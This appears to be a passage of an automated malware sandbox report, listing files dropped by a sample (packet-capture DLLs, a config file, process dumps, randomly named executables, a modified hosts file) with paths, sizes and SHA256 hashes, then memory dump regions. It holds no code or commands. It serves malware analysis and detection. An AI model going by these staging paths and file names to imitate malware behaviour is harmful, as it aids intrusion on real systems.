                                                                2⤵
                                                                  PID:208

                                                              Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    Packet.dll

                                                                    • Path C:\Windows\SysWOW64\Packet.dll
                                                                    • Size 95KB
                                                                    • SHA256 49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    wpcap.dll

                                                                    • Path C:\Windows\SysWOW64\wpcap.dll
                                                                    • Size 275KB
                                                                    • SHA256 b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    config.json

                                                                    • Path C:\Windows\TEMP\qhicbfrpg\config.json
                                                                    • Size 693B
                                                                    • SHA256 d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
                                                                    • MD5 SHA1 SHA512

                                                                    2128.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\2128.dmp
                                                                    • Size 8.8MB
                                                                    • SHA256 2f9473a79724192f858a6e5224537d3644d587e78e9f654384ed20b705f2793d
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    2164.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\2164.dmp
                                                                    • Size 4.1MB
                                                                    • SHA256 dcb3cd1a8448c74f647f33c0d918ff18c841755395b857cd586f92da839077af
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    2660.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\2660.dmp
                                                                    • Size 26.1MB
                                                                    • SHA256 123461935df3e1cbdda003c4b212620992c4ae9ee1b0ce5b336ab0f50bccfc18
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    2668.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\2668.dmp
                                                                    • Size 3.8MB
                                                                    • SHA256 4375c20ea8434a2e5e2a533e6b6984d88767aed244665bc115b8e88075be4e18
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    2792.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\2792.dmp
                                                                    • Size 2.9MB
                                                                    • SHA256 3a29b0b302ec1e3bc7e17b20e1c6ddbae5146d4d62e796733e5102aac496ae17
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    2828.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\2828.dmp
                                                                    • Size 7.9MB
                                                                    • SHA256 d4f09871c8268205058d40de3c885397e363699de701bbd039d3402bd4fc1a24
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    3064.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\3064.dmp
                                                                    • Size 810KB
                                                                    • SHA256 86b46a6ea6eda50c69f142e7e5a577ca481ca0e9f5512bdbe92e25c80d0232e6
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    3784.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\3784.dmp
                                                                    • Size 2.5MB
                                                                    • SHA256 48748d56cab935ea400366eb31e591860664e504e5530073f871e1b6cb9e9eab
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    384.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\384.dmp
                                                                    • Size 33.2MB
                                                                    • SHA256 fd52bfbb529874d63d6d7fc9d4b6d4131720d63a2457968b8c77d9adff7b6461
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    3880.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\3880.dmp
                                                                    • Size 20.9MB
                                                                    • SHA256 7927efe3089ccb3e5525d674156b7843562cc76982c0f58767514cf3ccf800e6
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    3940.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\3940.dmp
                                                                    • Size 8.5MB
                                                                    • SHA256 5258ae0130aafb0c9abff67da1f680b6e903338ea9ac92daa12acd100efe8086
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    4072.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\4072.dmp
                                                                    • Size 44.1MB
                                                                    • SHA256 a56e79631d364a0105455672a43aeda90288091731c590b05800f546a0033b93
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    4484.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\4484.dmp
                                                                    • Size 1.2MB
                                                                    • SHA256 66961bbe027be64508c041c954d633813fdf61716373e6d371d9803eb2641ab3
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    800.dmp

                                                                    • Path C:\Windows\TEMP\szlnqtttb\800.dmp
                                                                    • Size 3.4MB
                                                                    • SHA256 9d04553c4ec9f142fe96449ca5dfc1caa461fc66311708ddc843c76c6c45808a
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    System.dll

                                                                    • Path C:\Windows\Temp\nsdCBF.tmp\System.dll
                                                                    • Size 11KB
                                                                    • SHA256 681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    nsExec.dll

                                                                    • Path C:\Windows\Temp\nsdCBF.tmp\nsExec.dll
                                                                    • Size 6KB
                                                                    • SHA256 3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    hifrqs.exe

                                                                    • Path C:\Windows\Temp\qhicbfrpg\hifrqs.exe
                                                                    • Size 343KB
                                                                    • SHA256 a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    pncfsyeys.exe

                                                                    • Path C:\Windows\Temp\szlnqtttb\pncfsyeys.exe
                                                                    • Size 126KB
                                                                    • SHA256 a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    xohudmc.exe

                                                                    • Path C:\Windows\Temp\xohudmc.exe
                                                                    • Size 72KB
                                                                    • SHA256 7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    qjyiybe.exe

                                                                    • Path C:\Windows\kfqsrbhr\qjyiybe.exe
                                                                    • Size 6.9MB
                                                                    • SHA256 f1fb6bb37b83e263e7e5adc1edfac4d585faa330197eab892e0c8d0775a2611f
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    hosts

                                                                    • Path C:\Windows\system32\drivers\etc\hosts
                                                                    • Size 1KB
                                                                    • SHA256 1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53
                                                                    • MD5 SHA1 SHA512

                                                                    vfshost.exe

                                                                    • Path C:\Windows\szlnqtttb\Corporate\vfshost.exe
                                                                    • Size 381KB
                                                                    • SHA256 441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    acrtghepr.exe

                                                                    • Path C:\Windows\szlnqtttb\nsrrqrtgu\acrtghepr.exe
                                                                    • Size 332KB
                                                                    • SHA256 4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    wpcap.exe

                                                                    • Path C:\Windows\szlnqtttb\nsrrqrtgu\wpcap.exe
                                                                    • Size 424KB
                                                                    • SHA256 7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
                                                                    • MD5 SHA1 SHA512 SSDEEP

                                                                    memory/220-138-0x00007FF6A98B0000-0x00007FF6A999E000-memory.dmp

                                                                    memory/220-135-0x00007FF6A98B0000-0x00007FF6A999E000-memory.dmp

                                                                    memory/1628-179-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/1980-219-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/2244-152-0x0000000010000000-0x0000000010008000-memory.dmp

                                                                    memory/2244-169-0x0000000000400000-0x0000000000412000-memory.dmp

                                                                    memory/2592-171-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/2728-228-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/2840-231-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/3136-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                    memory/3136-188-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/3136-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                    memory/3232-201-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/3236-206-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/3516-175-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/3612-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

                                                                    memory/4000-192-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/4012-224-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/4104-242-0x0000000000F00000-0x0000000000F12000-memory.dmp

                                                                    memory/4444-214-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/4452-146-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/4452-142-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/4472-79-0x0000000001640000-0x000000000168C000-memory.dmp

                                                                    memory/4596-167-0x0000024CE5BC0000-0x0000024CE5BD0000-memory.dmp

                                                                    memory/4596-222-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-204-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-216-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-164-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-198-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-232-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-182-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-243-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-248-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4596-250-0x00007FF73FA30000-0x00007FF73FB50000-memory.dmp

                                                                    memory/4856-210-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp

                                                                    memory/4860-184-0x00007FF6DE550000-0x00007FF6DE5AB000-memory.dmp